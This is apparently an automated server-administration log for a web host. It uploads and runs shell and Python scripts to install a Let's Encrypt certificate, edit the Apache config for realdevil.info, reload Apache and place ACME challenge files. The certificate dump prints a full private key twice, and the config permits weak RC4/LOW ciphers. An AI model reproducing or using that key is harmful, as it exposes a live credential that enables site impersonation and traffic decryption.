JevlmGuzeyTQuXrBCqe188OflSgRXlvzN7xNaPJpNJ/LY1gsD3NXs2hkoJQ+BnRD
FjGqnqFLq7WrcbSJoJvAMWxkLF2dlaSBzHujvC15YOCJz4IZL3McTnkEDBw7MX07
FNBhqi8dJngsnPiN30Bk4fonWO01xWfIoB9+BGKpPhgc/WGJUi0XGJDofjqziCJC
A3QLVFHWltJT71O45XZ/hxBU27aYXTbjZY/Moh8vPQKBgQD8HqPpLbzz/8zQWUh7
PPCg6O3XD011kXtuyBFMSXu8Vww9g2nUy6uMKz1zliIacojzV9fv4xRa0/tvWmDR
9bVRFG3ywAoVdpVVKMZHSCpENSdqsIZEKwFQG6bBJaQPgTgpQi6JsWVr5h9FingU
VSQ9QWu9QPoFiyPmMmcH2erwIwKBgQDgjUXjAYVhvsJqG7Xx94kS00AEjKXyAIuR
9bC/trCM+tIq+5x1EIMoyQlQmADRV8hVlnVnGhzysbdZk7VcNPZmJbGkM8a8lYQR
V7IIJot34JimGcbDpl5FOkPNjrJ9mfKDTjqHmmcRquymLeIX+rQUn/0EAIX7LcSg
DZBE8S+8EwKBgQDsGs2pixnO7xkhbNuB/dni9v/1TPFfTrTnVBlO9eoYwPRHjw/H
Jk0q4TuVSV36opQ6P2OL1X60aJyo9VyCg7YfjiBBGzLWUs0aiSrWinB6m8SkF1hF
8ngySxLpApUXqA2uJbprXGP8ne9fMoOtluZvLxr0iysZkeo2o7D1G1D3PQKBgCHy
ucIcFMI2SMYp8lPmjH6gGWmWqe/wTSl/73zMbdyifuuopnq8SFf+LL5WfKkpkEwA
NzejJwU6API19pE+IJJI2JZujXktUY4dp/i7exJgjjNuajJiEJZ+vIlzLWD3yUY4
qXieyz5MjQKCpU/iwx7rISFdwuO6g6N+6XTC0eipAoGAcYwBHjJZjJa1j5cMZb/W
RdGV5TwvAuP71dWtgBSXLYdnt9j6cd8jEAczNzczLW96wlMrS0jlwfGPHoF5zJez
y21NGWFUzYpMQ5TzimEquKSRUwBaPgTW07+BdQo9WWNl27V8XkWM1dXSxOoSawTi
SnUnRM9apzhET6SpKedna3k=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:01:03:
chmod 755 /tmp/pkp850464; /tmp/pkp850464; rm /tmp/pkp850464
2025-11-30 06:01:03:
dir=/etc/ssl/certs
2025-11-30 06:01:03:
PUT: /tmp/pkp418062
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/realdevil_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:01:03:
chmod 755 /tmp/pkp418062; /tmp/pkp418062; rm /tmp/pkp418062
2025-11-30 06:01:03:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 42
<VirtualHost *:80>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_access.log combined
ErrorLog /var/log/apache2/realdevil/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_secure_access.log combined
ErrorLog /var/log/apache2/realdevil/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:01:03:
PUT: /tmp/pkp184518
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realdevil_www_info.conf
TARGET=/etc/apache2/sites-enabled/realdevil_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_access.log combined
ErrorLog /var/log/apache2/realdevil/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_secure_access.log combined
ErrorLog /var/log/apache2/realdevil/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/realdevil_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf= 1'
fi
2025-11-30 06:01:03:
chmod 755 /tmp/pkp184518; /tmp/pkp184518; rm /tmp/pkp184518
2025-11-30 06:01:03:
2025-11-30 06:01:03:
PUT: /tmp/pkp214844
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:01:03:
chmod 755 /tmp/pkp214844; /tmp/pkp214844; rm /tmp/pkp214844
2025-11-30 06:01:04:
.
2025-11-30 06:01:04: Establishing a connection
2025-11-30 06:01:04:
PUT: /tmp/pkp342377
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:01:04:
chmod 755 /tmp/pkp342377; /tmp/pkp342377; rm /tmp/pkp342377
2025-11-30 06:01:04:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-11-30 06:01:04:
PUT: /tmp/pkp533898
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/realdevil_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:04:
chmod 755 /tmp/pkp533898; /tmp/pkp533898; rm /tmp/pkp533898
2025-11-30 06:01:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 1381
<VirtualHost *:80>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_access.log combined
ErrorLog /var/log/apache2/realdevil/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realdevil.info
ServerAlias www.realdevil.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realdevil_www
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
<Directory /var/www/realdevil_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realdevil/www_secure_access.log combined
ErrorLog /var/log/apache2/realdevil/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:01:05:
PUT: /tmp/pkp721636
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:05:
chmod 755 /tmp/pkp721636; /tmp/pkp721636; rm /tmp/pkp721636
2025-11-30 06:01:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem 5377
e7:3e:90:3e:4e:29:30:e1:9c:3a:0f:a3:ac:25:a2:09
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBda222+90moLJdFi0R4MmQj8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjMxWhcNMjYwMjI4MDUwMjMwWjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AN0l8SAiTDJ8Pw2km6pqYllnWfM+GVUu0DLUS6dhxqw7W2nrFGNJXNvbOdPHK/K7
gSYH7polh4qsmjyAoL+26+uZ6cLqOeDDsEX4y7w6Y38yLuBIzwjgsebr/8VLo+Nl
4m8DJutHRC4paQXsAIUzjFMNIeTX5k1O5p7K6U5eoFdsyQk7KsanhNfVoo7Fr4Mo
I2tXkx7Lu4h02gU+yjXrVAadEjD9nIa5t+BVScEsEtMvns2xYnf0jscZWb7nvCsj
cIJNwGDnrg8S5zwwk1fFGlJtvoE9M3glWiA26UIh+jLG9p8eEzZSa/jo9Wz6Yf6Y
CturwdZgPBhwg0ERHL42hpkCAwEAAaOCAjQwggIwMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUakT/FspfnNxU0EoAkT6VPq0Pu7AwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQUGCisGAQQB
1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjD
AAABmtNZsBYAAAQDAEgwRgIhAITljuPU3xtAJGirWrOm+TBOPTJiZOGdp2jefHXA
hduKAiEApPamS/xajcamLA89SJZDnJxXsTMB9yOYNzB8kV96q3sAdgAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZrTWbANAAAEAwBHMEUCIAP5h5+y
G0nHc4ujV0p32d02IktiHQldysLEyPfkd90fAiEA/nMDG9dAzFQNqQnPBaVkcILs
t6TTC0bRpAAocxNaJuYwDQYJKoZIhvcNAQELBQADggEBAIDEknS7n9ur7b0nLHwa
HVrKKaHpALsesaa6LGAEDQIHLPmEpqPciPdpT3id17+kVNnfwoaiaFlKu7kfqR8i
liBmYjLqA7kULm7lufksSEv0gSjmw5/MuiAlXnXnjTD6l4GgnLDWIHXR/bJ0J82B
Vok3H2SQ6RBXhDiBv3fH0nPuiXTT2bJ0TDP2y4LgNiHQrQLz69nnv8weLrncHDsV
jRneuVhCm0xSThmyq2vVQ95ET1UN3PE5iWsnw/WRdYuCFN5KZ4iZ3t5QT6txYQ+q
0yiob0y01WnH6avvI3Qa3IhLhu2kUt7sX4RLl1hqn0TrhDY66SJjmWOKZc0uqYOT
G04=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDdJfEgIkwyfD8N
pJuqamJZZ1nzPhlVLtAy1EunYcasO1tp6xRjSVzb2znTxyvyu4EmB+6aJYeKrJo8
gKC/tuvrmenC6jngw7BF+Mu8OmN/Mi7gSM8I4LHm6//FS6PjZeJvAybrR0QuKWkF
7ACFM4xTDSHk1+ZNTuaeyulOXqBXbMkJOyrGp4TX1aKOxa+DKCNrV5Mey7uIdNoF
Pso161QGnRIw/ZyGubfgVUnBLBLTL57NsWJ39I7HGVm+57wrI3CCTcBg564PEuc8
MJNXxRpSbb6BPTN4JVogNulCIfoyxvafHhM2Umv46PVs+mH+mArbq8HWYDwYcINB
ERy+NoaZAgMBAAECggEAUcPghjgIIjZr/bhZ0cVpvZKH4HaaWTNoyRJTMnzlPvLn
Vp8TN659RdClbdbbOfD3zD7silPL7Irqr+oDBT81tTOACZAefCr+NrDJazvPY80D
JevlmGuzeyTQuXrBCqe188OflSgRXlvzN7xNaPJpNJ/LY1gsD3NXs2hkoJQ+BnRD
FjGqnqFLq7WrcbSJoJvAMWxkLF2dlaSBzHujvC15YOCJz4IZL3McTnkEDBw7MX07
FNBhqi8dJngsnPiN30Bk4fonWO01xWfIoB9+BGKpPhgc/WGJUi0XGJDofjqziCJC
A3QLVFHWltJT71O45XZ/hxBU27aYXTbjZY/Moh8vPQKBgQD8HqPpLbzz/8zQWUh7
PPCg6O3XD011kXtuyBFMSXu8Vww9g2nUy6uMKz1zliIacojzV9fv4xRa0/tvWmDR
9bVRFG3ywAoVdpVVKMZHSCpENSdqsIZEKwFQG6bBJaQPgTgpQi6JsWVr5h9FingU
VSQ9QWu9QPoFiyPmMmcH2erwIwKBgQDgjUXjAYVhvsJqG7Xx94kS00AEjKXyAIuR
9bC/trCM+tIq+5x1EIMoyQlQmADRV8hVlnVnGhzysbdZk7VcNPZmJbGkM8a8lYQR
V7IIJot34JimGcbDpl5FOkPNjrJ9mfKDTjqHmmcRquymLeIX+rQUn/0EAIX7LcSg
DZBE8S+8EwKBgQDsGs2pixnO7xkhbNuB/dni9v/1TPFfTrTnVBlO9eoYwPRHjw/H
Jk0q4TuVSV36opQ6P2OL1X60aJyo9VyCg7YfjiBBGzLWUs0aiSrWinB6m8SkF1hF
8ngySxLpApUXqA2uJbprXGP8ne9fMoOtluZvLxr0iysZkeo2o7D1G1D3PQKBgCHy
ucIcFMI2SMYp8lPmjH6gGWmWqe/wTSl/73zMbdyifuuopnq8SFf+LL5WfKkpkEwA
NzejJwU6API19pE+IJJI2JZujXktUY4dp/i7exJgjjNuajJiEJZ+vIlzLWD3yUY4
qXieyz5MjQKCpU/iwx7rISFdwuO6g6N+6XTC0eipAoGAcYwBHjJZjJa1j5cMZb/W
RdGV5TwvAuP71dWtgBSXLYdnt9j6cd8jEAczNzczLW96wlMrS0jlwfGPHoF5zJez
y21NGWFUzYpMQ5TzimEquKSRUwBaPgTW07+BdQo9WWNl27V8XkWM1dXSxOoSawTi
SnUnRM9apzhET6SpKedna3k=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-30 06:01:05: Establishing a connection
2025-11-30 06:01:05: Establishing a connection
2025-11-30 06:01:05:
PUT: /tmp/pkp125087
#!/bin/bash
if [ -d "/var/www/vards_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:01:06:
chmod 755 /tmp/pkp125087; /tmp/pkp125087; rm /tmp/pkp125087
2025-11-30 06:01:06:
1
2025-11-30 06:01:06: Establishing a connection
2025-11-30 06:01:06:
PUT: /tmp/pkp288830
#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
cat > 9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4
cat > RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg
2025-11-30 06:01:07:
chmod 755 /tmp/pkp288830; /tmp/pkp288830; rm /tmp/pkp288830
2025-11-30 06:01:07:
2025-11-30 06:01:16: Establishing a connection
2025-11-30 06:01:17:
PUT: /tmp/pkp661082
#!/bin/bash
